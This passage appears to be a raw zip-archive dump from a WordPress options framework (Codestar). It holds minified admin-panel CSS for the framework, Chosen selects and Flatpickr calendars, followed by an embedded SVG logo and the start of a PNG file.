rgba(0,0,0,.25),inset 0 0 0 4px rgba(0,0,0,.25)}.csf-welcome-wrap .csf-logo .csf--effects i{position:absolute;width:200px;height:100px;background-color:rgba(0,0,0,.15);transform:rotate(-45deg)}.csf-welcome-wrap .csf-logo .csf--effects i:first-child{bottom:-20px;right:-70px}.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(2){bottom:-35px;right:-80px}.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(3){bottom:-50px;right:-90px}.csf-welcome-wrap .csf-logo .csf--effects i:nth-child(4){bottom:-65px;right:-100px}.csf-welcome-wrap .csf-logo .csf--wp-logos{position:relative;padding-top:25px;text-align:center}.csf-welcome-wrap .csf-logo .csf--wp-logo{position:absolute;left:20px;width:20px;height:20px;background-repeat:no-repeat;background-position:center center;background-image:url(images/wp-logo.svg)}.csf-welcome-wrap .csf-logo .csf--wp-plugin-logo{display:inline-block;width:50px;height:50px;border:3px solid #fff;background-size:40px;background-repeat:no-repeat;background-position:center center;background-image:url(images/wp-plugin-logo.svg);border-radius:100%;vertical-align:middle}.csf-welcome-wrap .csf-logo .csf--text{position:absolute;left:0;right:0;top:90px;color:#fff;font-size:13px;line-height:1.2em;font-weight:600;text-align:center;text-transform:uppercase;text-shadow:1px 1px 0 rgba(0,0,0,.25)}.csf-welcome-wrap .csf-logo .csf--version{top:auto;left:auto;right:8px;bottom:4px;font-size:11px;text-transform:lowercase}.csf-welcome-wrap .csf-about-text{font-weight:400;line-height:1.6em;font-size:19px;margin:1em 200px 1em 0;color:#555d66}.csf-welcome-wrap .csf-demo-button{margin:1em 200px 2em 0}.csf-welcome-wrap .nav-tab-wrapper{margin-bottom:20px}.csf-welcome-wrap ul{list-style-type:disc;padding-left:15px}.csf-welcome-wrap .csf--col{float:left;padding-right:20px;box-sizing:border-box}.csf-welcome-wrap .csf--col-2{width:50%}.csf-welcome-wrap .csf--col-3{width:33.333%}.csf-welcome-wrap .csf--col-4{width:25%}.csf-welcome-wrap .csf--col-5{width:20%}.csf-welcome-wrap .csf--col-last{padding-right:0}.csf-welcome-wrap .csf--col-upgrade{padding:10px 0;text-align:center;border-top:1px solid #e5e5e5}.csf--table-compare tfoot td,.csf--table-compare thead td{text-align:center}.csf--table-compare td{font-size:14px;text-align:center;vertical-align:middle;padding:10px}.csf--table-compare td:first-child{text-align:left}.csf--table-compare tfoot td{padding:15px 0}.csf--table-compare .fa{font-size:18px}.csf--table-compare .fa-check-circle{color:#46b450}.csf--table-compare .fa-times-circle{color:#dc3232}.csf-welcome-cols{clear:both;margin:20px 0;background-color:#fff;padding:0 0;border-radius:0;border:1px solid #e5e5e5}.csf-welcome-cols .csf--col{width:33.333%;float:left;padding:20px;text-align:center;box-sizing:border-box;min-height:200px;border-right:1px solid #e5e5e5}.csf-welcome-cols .csf--block,.csf-welcome-cols .csf--left{float:left;width:20%;padding:0 30px;text-align:center;box-sizing:border-box}.csf-welcome-cols .csf--block{width:80%}.csf-welcome-cols .csf--col-first{border-bottom:1px solid #e5e5e5}.csf-welcome-cols .csf--last{border-right:none}.csf-welcome-cols .csf--space{height:20px}.csf-welcome-cols .csf--icon{display:inline-block;font-size:20px;width:30px;height:30px;line-height:30px;text-align:center;margin-bottom:10px;color:#fff;background-color:#555;border-radius:30px}.csf-welcome-cols .csf--active{background-color:#5cb85c}.csf-welcome-cols .csf--deactive{background-color:#e14d43}.csf-welcome-cols .csf--title{font-weight:700;display:block}.csf-welcome-cols p:last-child{margin-bottom:0}.csf-features-cols .csf--key-features{width:30%}.csf-features-cols .csf--available-fields{width:70%}.csf-code-block{margin:20px 0;padding:5px 20px;background-color:#fff;border-radius:0;box-shadow:0 1px 1px rgba(0,0,0,.15)}.csf-code-block pre{font-size:13px;color:#0073aa}.csf-code-block pre span{color:#999}.csf--table-fields td{font-size:14px}.csf--upgrade a{color:#5cb85c;font-weight:700}.csf--upgrade a:focus,.csf--upgrade a:hover{color:#4aa14a;outline:0;box-shadow:none}@media only screen and (max-width:782px){.csf-welcome-cols .csf--col{width:100%;min-height:auto;border-right:none;border-bottom:1px solid #e5e5e5}.csf-features-cols .csf--key-features{width:100%}.csf-features-cols .csf--available-fields{width:100%}}@media only screen and (max-width:1200px){.csf-metabox .csf-field .csf-title{float:none;width:100%;margin-bottom:10px}.csf-metabox .csf-field .csf-fieldset{float:none;width:100%}}@media only screen and (max-width:782px){.csf-header-inner{text-align:center}.csf-header-inner h1{width:100%;margin-bottom:10px}.csf-form-result{float:none;margin-right:0;margin-bottom:10px}.csf-header-left,.csf-header-right,.csf-search{width:100%}.csf-search{text-align:center;margin-bottom:15px}.csf-footer{text-align:center}.csf-buttons{float:none}.csf-copyright{float:none;margin-top:10px}.csf-expand-all,.csf-nav,.csf-nav-background,.csf-reset-section{display:none!important}.csf-nav-normal+.csf-content{margin-left:0}.csf-section,.csf-section-title{display:block!important}.csf-field .csf-title{float:none;width:100%;margin-bottom:10px}.csf-field .csf-fieldset{float:none;width:100%}.csf-field-color .button.wp-picker-clear{padding:0 8px;line-height:2.14285714;min-height:32px}.csf-profile-options>.csf-field>.csf-title,.csf-taxonomy-edit-fields>.csf-field>.csf-title{float:none;width:100%;margin-bottom:10px}.csf-profile-options>.csf-field>.csf-fieldset,.csf-taxonomy-edit-fields>.csf-field>.csf-fieldset{float:none;width:100%}.csf-nav-menu-options>.csf-fields{margin-left:-10px;margin-right:-10px}.csf-nav-menu-options>.csf-fields>.csf-field{padding:10px}}@media only screen and (max-width:782px){.csf-modal .csf-modal-inner{width:90%}}@media only screen and (max-height:750px){.csf-modal .csf-modal-inner{height:auto}.csf-modal .csf-modal-content{height:calc(100vh - 200px)}}.chosen-container{position:relative;display:inline-block;vertical-align:middle;font-size:13px;user-select:none}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff;box-shadow:0 4px 5px rgba(0,0,0,.15);clip:rect(0,0,0,0);clip-path:inset(100% 100%)}.chosen-container.chosen-with-drop .chosen-drop{clip:auto;clip-path:none}.chosen-container a{cursor:pointer}.chosen-container .chosen-single .group-name,.chosen-container .search-choice .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:400;color:#999}.chosen-container .chosen-single .group-name:after,.chosen-container .search-choice .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:0 0 0 8px;height:25px;border:1px solid #aaa;border-radius:0;background-color:#fff;background-clip:padding-box;color:#444;text-decoration:none;white-space:nowrap;line-height:24px}.chosen-container-single .chosen-default{color:#999}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;text-overflow:ellipsis;white-space:nowrap}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:6px;right:26px;display:block;width:12px;height:12px;font-size:1px}.chosen-container-single .chosen-single div{position:absolute;top:0;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type=text]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;font-size:1em;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;clip:rect(0,0,0,0);clip-path:inset(100% 100%)}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#3875d7;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:700;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-multi .chosen-choices{position:relative;overflow:hidden;margin:0;padding:0 5px;width:100%;height:auto;border:1px solid #aaa;background-color:#fff;cursor:text}.chosen-container-multi .chosen-choices li{float:left;list-style:none}.chosen-container-multi .chosen-choices li.search-field{margin:0;padding:0;white-space:nowrap}.chosen-container-multi .chosen-choices li.search-field input[type=text]{margin:1px 0;padding:0;outline:0;border:0!important;background:0 0!important;box-shadow:none;color:#999;font-size:100%;font-family:sans-serif;line-height:normal;border-radius:0;width:25px;height:36px;min-height:36px}.chosen-container-multi .chosen-choices li.search-choice{position:relative;margin:3px 5px 3px 0;padding:3px 20px 3px 6px;border:1px solid #aaa;max-width:100%;border-radius:0;background-color:#eee;background-size:100% 19px;background-repeat:repeat-x;background-clip:padding-box;box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);color:#333;line-height:13px;cursor:default}.chosen-container-multi .chosen-choices li.search-choice span{word-wrap:break-word;white-space:nowrap}.chosen-container-multi .chosen-choices li.search-choice .search-choice-close{position:absolute;top:0;right:0;display:block;width:12px;height:12px;font-size:1px}.chosen-container-multi .chosen-choices li.search-choice-disabled{padding-right:5px;border:1px solid #ccc;background-color:#e4e4e4;color:#666}.chosen-container-multi .chosen-choices li.search-choice-focus{background:#d4d4d4}.chosen-container-multi .chosen-results{margin:0;padding:0}.chosen-container-multi .chosen-drop .result-selected{display:list-item;color:#ccc;cursor:default}.chosen-container-active .chosen-single{border:1px solid #5897fb;box-shadow:0 0 5px rgba(0,0,0,.3)}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0;box-shadow:0 1px 0 #fff inset}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:0 0}.chosen-container-active .chosen-choices{border:1px solid #5897fb;box-shadow:0 0 5px rgba(0,0,0,.3)}.chosen-container-active .chosen-choices li.search-field input[type=text]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type=text]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:none}.chosen-rtl .chosen-search input[type=text]{padding:4px 5px 4px 20px;direction:rtl}.flatpickr-calendar{background:0 0;opacity:0;display:none;text-align:center;visibility:hidden;padding:0;-webkit-animation:none;animation:none;direction:ltr;border:0;font-size:14px;line-height:24px;border-radius:0;position:absolute;width:307.875px;-webkit-box-sizing:border-box;box-sizing:border-box;-ms-touch-action:manipulation;touch-action:manipulation;background:#fff;-webkit-box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 3px 13px rgba(0,0,0,.08);box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 3px 13px rgba(0,0,0,.08)}.flatpickr-calendar.inline,.flatpickr-calendar.open{opacity:1;max-height:640px;visibility:visible}.flatpickr-calendar.open{display:inline-block;z-index:99999}.flatpickr-calendar.animate.open{-webkit-animation:fpFadeInDown .3s cubic-bezier(.23,1,.32,1);animation:fpFadeInDown .3s cubic-bezier(.23,1,.32,1)}.flatpickr-calendar.inline{display:block;position:relative;top:2px}.flatpickr-calendar.static{position:absolute;top:calc(100% + 2px)}.flatpickr-calendar.static.open{z-index:999;display:block}.flatpickr-calendar.multiMonth .flatpickr-days .dayContainer:nth-child(n+1) .flatpickr-day.inRange:nth-child(7n+7){-webkit-box-shadow:none!important;box-shadow:none!important}.flatpickr-calendar.multiMonth .flatpickr-days .dayContainer:nth-child(n+2) .flatpickr-day.inRange:nth-child(7n+1){-webkit-box-shadow:-2px 0 0 #e6e6e6,5px 0 0 #e6e6e6;box-shadow:-2px 0 0 #e6e6e6,5px 0 0 #e6e6e6}.flatpickr-calendar .hasTime .dayContainer,.flatpickr-calendar .hasWeeks .dayContainer{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.flatpickr-calendar .hasWeeks .dayContainer{border-left:0}.flatpickr-calendar.hasTime .flatpickr-time{height:40px;border-top:1px solid #e6e6e6}.flatpickr-calendar.noCalendar.hasTime .flatpickr-time{height:auto}.flatpickr-calendar:after,.flatpickr-calendar:before{position:absolute;display:block;pointer-events:none;border:solid transparent;content:"";height:0;width:0;left:22px}.flatpickr-calendar.arrowRight:after,.flatpickr-calendar.arrowRight:before,.flatpickr-calendar.rightMost:after,.flatpickr-calendar.rightMost:before{left:auto;right:22px}.flatpickr-calendar.arrowCenter:after,.flatpickr-calendar.arrowCenter:before{left:50%;right:50%}.flatpickr-calendar:before{border-width:5px;margin:0 -5px}.flatpickr-calendar:after{border-width:4px;margin:0 -4px}.flatpickr-calendar.arrowTop:after,.flatpickr-calendar.arrowTop:before{bottom:100%}.flatpickr-calendar.arrowTop:before{border-bottom-color:#e6e6e6}.flatpickr-calendar.arrowTop:after{border-bottom-color:#fff}.flatpickr-calendar.arrowBottom:after,.flatpickr-calendar.arrowBottom:before{top:100%}.flatpickr-calendar.arrowBottom:before{border-top-color:#e6e6e6}.flatpickr-calendar.arrowBottom:after{border-top-color:#fff}.flatpickr-calendar:focus{outline:0}.flatpickr-wrapper{position:relative;display:inline-block}.flatpickr-months{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.flatpickr-months .flatpickr-month{background:0 0;color:rgba(0,0,0,.9);fill:rgba(0,0,0,.9);height:34px;line-height:1;text-align:center;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:hidden;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}.flatpickr-months .flatpickr-next-month,.flatpickr-months .flatpickr-prev-month{text-decoration:none;cursor:pointer;position:absolute;top:0;height:34px;padding:10px;z-index:3;color:rgba(0,0,0,.9);fill:rgba(0,0,0,.9)}.flatpickr-months .flatpickr-next-month.flatpickr-disabled,.flatpickr-months .flatpickr-prev-month.flatpickr-disabled{display:none}.flatpickr-months .flatpickr-next-month i,.flatpickr-months .flatpickr-prev-month i{position:relative}.flatpickr-months .flatpickr-next-month.flatpickr-prev-month,.flatpickr-months .flatpickr-prev-month.flatpickr-prev-month{left:0}.flatpickr-months .flatpickr-next-month.flatpickr-next-month,.flatpickr-months .flatpickr-prev-month.flatpickr-next-month{right:0}.flatpickr-months .flatpickr-next-month:hover,.flatpickr-months .flatpickr-prev-month:hover{color:#959ea9}.flatpickr-months .flatpickr-next-month:hover svg,.flatpickr-months .flatpickr-prev-month:hover svg{fill:#f64747}.flatpickr-months .flatpickr-next-month svg,.flatpickr-months .flatpickr-prev-month svg{width:14px;height:14px}.flatpickr-months .flatpickr-next-month svg path,.flatpickr-months .flatpickr-prev-month svg path{-webkit-transition:fill .1s;transition:fill .1s;fill:inherit}.numInputWrapper{position:relative;height:auto}.numInputWrapper input,.numInputWrapper span{display:inline-block}.numInputWrapper input{width:100%}.numInputWrapper input::-ms-clear{display:none}.numInputWrapper input::-webkit-inner-spin-button,.numInputWrapper input::-webkit-outer-spin-button{margin:0;-webkit-appearance:none}.numInputWrapper span{position:absolute;right:0;width:14px;padding:0 4px 0 2px;height:50%;line-height:50%;opacity:0;cursor:pointer;border:1px solid rgba(57,57,57,.15);-webkit-box-sizing:border-box;box-sizing:border-box}.numInputWrapper span:hover{background:rgba(0,0,0,.1)}.numInputWrapper span:active{background:rgba(0,0,0,.2)}.numInputWrapper span:after{display:block;content:"";position:absolute}.numInputWrapper span.arrowUp{top:0;border-bottom:0}.numInputWrapper span.arrowUp:after{border-left:4px solid transparent;border-right:4px solid transparent;border-bottom:4px solid rgba(57,57,57,.6);top:26%}.numInputWrapper span.arrowDown{top:50%}.numInputWrapper span.arrowDown:after{border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid rgba(57,57,57,.6);top:40%}.numInputWrapper span svg{width:inherit;height:auto}.numInputWrapper span svg path{fill:rgba(0,0,0,.5)}.numInputWrapper:hover{background:rgba(0,0,0,.05)}.numInputWrapper:hover span{opacity:1}.flatpickr-current-month{font-size:135%;line-height:inherit;font-weight:300;color:inherit;position:absolute;width:75%;left:12.5%;padding:7.48px 0 0 0;line-height:1;height:34px;display:inline-block;text-align:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.flatpickr-current-month span.cur-month{font-family:inherit;font-weight:700;color:inherit;display:inline-block;margin-left:.5ch;padding:0}.flatpickr-current-month span.cur-month:hover{background:rgba(0,0,0,.05)}.flatpickr-current-month .numInputWrapper{width:6ch;display:inline-block}.flatpickr-current-month .numInputWrapper span.arrowUp:after{border-bottom-color:rgba(0,0,0,.9)}.flatpickr-current-month .numInputWrapper span.arrowDown:after{border-top-color:rgba(0,0,0,.9)}.flatpickr-current-month input.cur-year{background:0 0;-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;cursor:text;padding:0 0 0 .5ch;margin:0;display:inline-block;font-size:inherit;font-family:inherit;font-weight:300;line-height:inherit;height:auto;border:0;border-radius:0;vertical-align:initial;-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.flatpickr-current-month input.cur-year:focus{outline:0}.flatpickr-current-month input.cur-year[disabled],.flatpickr-current-month input.cur-year[disabled]:hover{font-size:100%;color:rgba(0,0,0,.5);background:0 0;pointer-events:none}.flatpickr-current-month .flatpickr-monthDropdown-months{appearance:menulist;background:0 0;border:none;border-radius:0;box-sizing:border-box;color:inherit;cursor:pointer;font-size:inherit;font-family:inherit;font-weight:300;height:auto;line-height:inherit;margin:-1px 0 0 0;outline:0;padding:0 0 0 .5ch;position:relative;vertical-align:initial;-webkit-box-sizing:border-box;-webkit-appearance:menulist;-moz-appearance:menulist;width:auto}.flatpickr-current-month .flatpickr-monthDropdown-months:active,.flatpickr-current-month .flatpickr-monthDropdown-months:focus{outline:0}.flatpickr-current-month .flatpickr-monthDropdown-months:hover{background:rgba(0,0,0,.05)}.flatpickr-current-month .flatpickr-monthDropdown-months .flatpickr-monthDropdown-month{background-color:transparent;outline:0;padding:0}.flatpickr-weekdays{background:0 0;text-align:center;overflow:hidden;width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:28px}.flatpickr-weekdays .flatpickr-weekdaycontainer{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}span.flatpickr-weekday{cursor:default;font-size:90%;background:0 0;color:rgba(0,0,0,.54);line-height:1;margin:0;text-align:center;display:block;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;font-weight:bolder}.dayContainer,.flatpickr-weeks{padding:1px 0 0 0}.flatpickr-days{position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;width:307.875px}.flatpickr-days:focus{outline:0}.dayContainer{padding:0;outline:0;text-align:left;width:307.875px;min-width:307.875px;max-width:307.875px;-webkit-box-sizing:border-box;box-sizing:border-box;display:inline-block;display:-ms-flexbox;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-wrap:wrap;-ms-flex-pack:justify;-webkit-justify-content:space-around;justify-content:space-around;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.dayContainer+.dayContainer{-webkit-box-shadow:-1px 0 0 #e6e6e6;box-shadow:-1px 0 0 #e6e6e6}.flatpickr-day{background:0 0;border:1px solid transparent;border-radius:150px;-webkit-box-sizing:border-box;box-sizing:border-box;color:#393939;cursor:pointer;font-weight:400;width:14.2857143%;-webkit-flex-basis:14.2857143%;-ms-flex-preferred-size:14.2857143%;flex-basis:14.2857143%;max-width:39px;height:39px;line-height:39px;margin:0;display:inline-block;position:relative;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;text-align:center}.flatpickr-day.inRange,.flatpickr-day.nextMonthDay.inRange,.flatpickr-day.nextMonthDay.today.inRange,.flatpickr-day.nextMonthDay:focus,.flatpickr-day.nextMonthDay:hover,.flatpickr-day.prevMonthDay.inRange,.flatpickr-day.prevMonthDay.today.inRange,.flatpickr-day.prevMonthDay:focus,.flatpickr-day.prevMonthDay:hover,.flatpickr-day.today.inRange,.flatpickr-day:focus,.flatpickr-day:hover{cursor:pointer;outline:0;background:#e6e6e6;border-color:#e6e6e6}.flatpickr-day.today{border-color:#959ea9}.flatpickr-day.today:focus,.flatpickr-day.today:hover{border-color:#959ea9;background:#959ea9;color:#fff}.flatpickr-day.endRange,.flatpickr-day.endRange.inRange,.flatpickr-day.endRange.nextMonthDay,.flatpickr-day.endRange.prevMonthDay,.flatpickr-day.endRange:focus,.flatpickr-day.endRange:hover,.flatpickr-day.selected,.flatpickr-day.selected.inRange,.flatpickr-day.selected.nextMonthDay,.flatpickr-day.selected.prevMonthDay,.flatpickr-day.selected:focus,.flatpickr-day.selected:hover,.flatpickr-day.startRange,.flatpickr-day.startRange.inRange,.flatpickr-day.startRange.nextMonthDay,.flatpickr-day.startRange.prevMonthDay,.flatpickr-day.startRange:focus,.flatpickr-day.startRange:hover{background:#569ff7;-webkit-box-shadow:none;box-shadow:none;color:#fff;border-color:#569ff7}.flatpickr-day.endRange.startRange,.flatpickr-day.selected.startRange,.flatpickr-day.startRange.startRange{border-radius:50px 0 0 50px}.flatpickr-day.endRange.endRange,.flatpickr-day.selected.endRange,.flatpickr-day.startRange.endRange{border-radius:0 50px 50px 0}.flatpickr-day.endRange.startRange+.endRange:not(:nth-child(7n+1)),.flatpickr-day.selected.startRange+.endRange:not(:nth-child(7n+1)),.flatpickr-day.startRange.startRange+.endRange:not(:nth-child(7n+1)){-webkit-box-shadow:-10px 0 0 #569ff7;box-shadow:-10px 0 0 #569ff7}.flatpickr-day.endRange.startRange.endRange,.flatpickr-day.selected.startRange.endRange,.flatpickr-day.startRange.startRange.endRange{border-radius:50px}.flatpickr-day.inRange{border-radius:0;-webkit-box-shadow:-5px 0 0 #e6e6e6,5px 0 0 #e6e6e6;box-shadow:-5px 0 0 #e6e6e6,5px 0 0 #e6e6e6}.flatpickr-day.flatpickr-disabled,.flatpickr-day.flatpickr-disabled:hover,.flatpickr-day.nextMonthDay,.flatpickr-day.notAllowed,.flatpickr-day.notAllowed.nextMonthDay,.flatpickr-day.notAllowed.prevMonthDay,.flatpickr-day.prevMonthDay{color:rgba(57,57,57,.3);background:0 0;border-color:transparent;cursor:default}.flatpickr-day.flatpickr-disabled,.flatpickr-day.flatpickr-disabled:hover{cursor:not-allowed;color:rgba(57,57,57,.1)}.flatpickr-day.week.selected{border-radius:0;-webkit-box-shadow:-5px 0 0 #569ff7,5px 0 0 #569ff7;box-shadow:-5px 0 0 #569ff7,5px 0 0 #569ff7}.flatpickr-day.hidden{visibility:hidden}.rangeMode .flatpickr-day{margin-top:1px}.flatpickr-weekwrapper{float:left}.flatpickr-weekwrapper .flatpickr-weeks{padding:0 12px;-webkit-box-shadow:1px 0 0 #e6e6e6;box-shadow:1px 0 0 #e6e6e6}.flatpickr-weekwrapper .flatpickr-weekday{float:none;width:100%;line-height:28px}.flatpickr-weekwrapper span.flatpickr-day,.flatpickr-weekwrapper span.flatpickr-day:hover{display:block;width:100%;max-width:none;color:rgba(57,57,57,.3);background:0 0;cursor:default;border:none}.flatpickr-innerContainer{display:block;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-sizing:border-box;box-sizing:border-box;overflow:hidden}.flatpickr-rContainer{display:inline-block;padding:0;-webkit-box-sizing:border-box;box-sizing:border-box}.flatpickr-time{text-align:center;outline:0;display:block;height:0;line-height:40px;max-height:40px;-webkit-box-sizing:border-box;box-sizing:border-box;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.flatpickr-time:after{content:"";display:table;clear:both}.flatpickr-time .numInputWrapper{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;width:40%;height:40px;float:left}.flatpickr-time .numInputWrapper span.arrowUp:after{border-bottom-color:#393939}.flatpickr-time .numInputWrapper span.arrowDown:after{border-top-color:#393939}.flatpickr-time.hasSeconds .numInputWrapper{width:26%}.flatpickr-time.time24hr .numInputWrapper{width:49%}.flatpickr-time input{background:0 0;-webkit-box-shadow:none;box-shadow:none;border:0;border-radius:0;text-align:center;margin:0;padding:0;height:inherit;line-height:inherit;color:#393939;font-size:14px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.flatpickr-time input.flatpickr-hour{font-weight:700}.flatpickr-time input.flatpickr-minute,.flatpickr-time input.flatpickr-second{font-weight:400}.flatpickr-time input:focus{outline:0;border:0}.flatpickr-time .flatpickr-am-pm,.flatpickr-time .flatpickr-time-separator{height:inherit;float:left;line-height:inherit;color:#393939;font-weight:700;width:2%;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.flatpickr-time .flatpickr-am-pm{outline:0;width:18%;cursor:pointer;text-align:center;font-weight:400}.flatpickr-time .flatpickr-am-pm:focus,.flatpickr-time .flatpickr-am-pm:hover,.flatpickr-time input:focus,.flatpickr-time input:hover{background:#eee}.flatpickr-input[readonly]{cursor:pointer}@-webkit-keyframes fpFadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fpFadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.csf-field-sizes input{border-radius:0}.csf-buttons .button.csf-reset-section{border-color:#c6ba0b;background:#c6ba0b;color:#fff}body .csf-theme-light .csf-nav ul li .csf-active:after{content:"\f054";display:inline-block;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:9px;line-height:1;position:absolute;right:12px;top:50%;margin-top:-4px}.csf-tab-item.csf-tab-expanded{background:#000}PK     2w\\    +  options/framework/assets/images/wp-logo.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><rect x="0" fill="none" width="20" height="20"/><g><g fill="#fff"><path d="M20 10c0-5.52-4.48-10-10-10S0 4.48 0 10s4.48 10 10 10 10-4.48 10-10zM10 1.01c4.97 0 8.99 4.02 8.99 8.99s-4.02 8.99-8.99 8.99S1.01 14.97 1.01 10 5.03 1.01 10 1.01zM8.01 14.82L4.96 6.61c.49-.03 1.05-.08 1.05-.08.43-.05.38-1.01-.06-.99 0 0-1.29.1-2.13.1-.15 0-.33 0-.52-.01 1.44-2.17 3.9-3.6 6.7-3.6 2.09 0 3.99.79 5.41 2.09-.6-.08-1.45.35-1.45 1.42 0 .66.38 1.22.79 1.88.31.54.5 1.22.5 2.21 0 1.34-1.27 4.48-1.27 4.48l-2.71-7.5c.48-.03.75-.16.75-.16.43-.05.38-1.1-.05-1.08 0 0-1.3.11-2.14.11-.78 0-2.11-.11-2.11-.11-.43-.02-.48 1.06-.05 1.08l.84.08 1.12 3.04zm6.02 2.15L16.64 10s.67-1.69.39-3.81c.63 1.14.94 2.42.94 3.81 0 2.96-1.56 5.58-3.94 6.97zM2.68 6.77L6.5 17.25c-2.67-1.3-4.47-4.08-4.47-7.25 0-1.16.2-2.23.65-3.23zm7.45 4.53l2.29 6.25c-.75.27-1.57.42-2.42.42-.72 0-1.41-.11-2.06-.3z"/></g></g></svg>
PK     2w\
:$	  $	  0  options/framework/assets/images/checkerboard.pngnu [        PNG

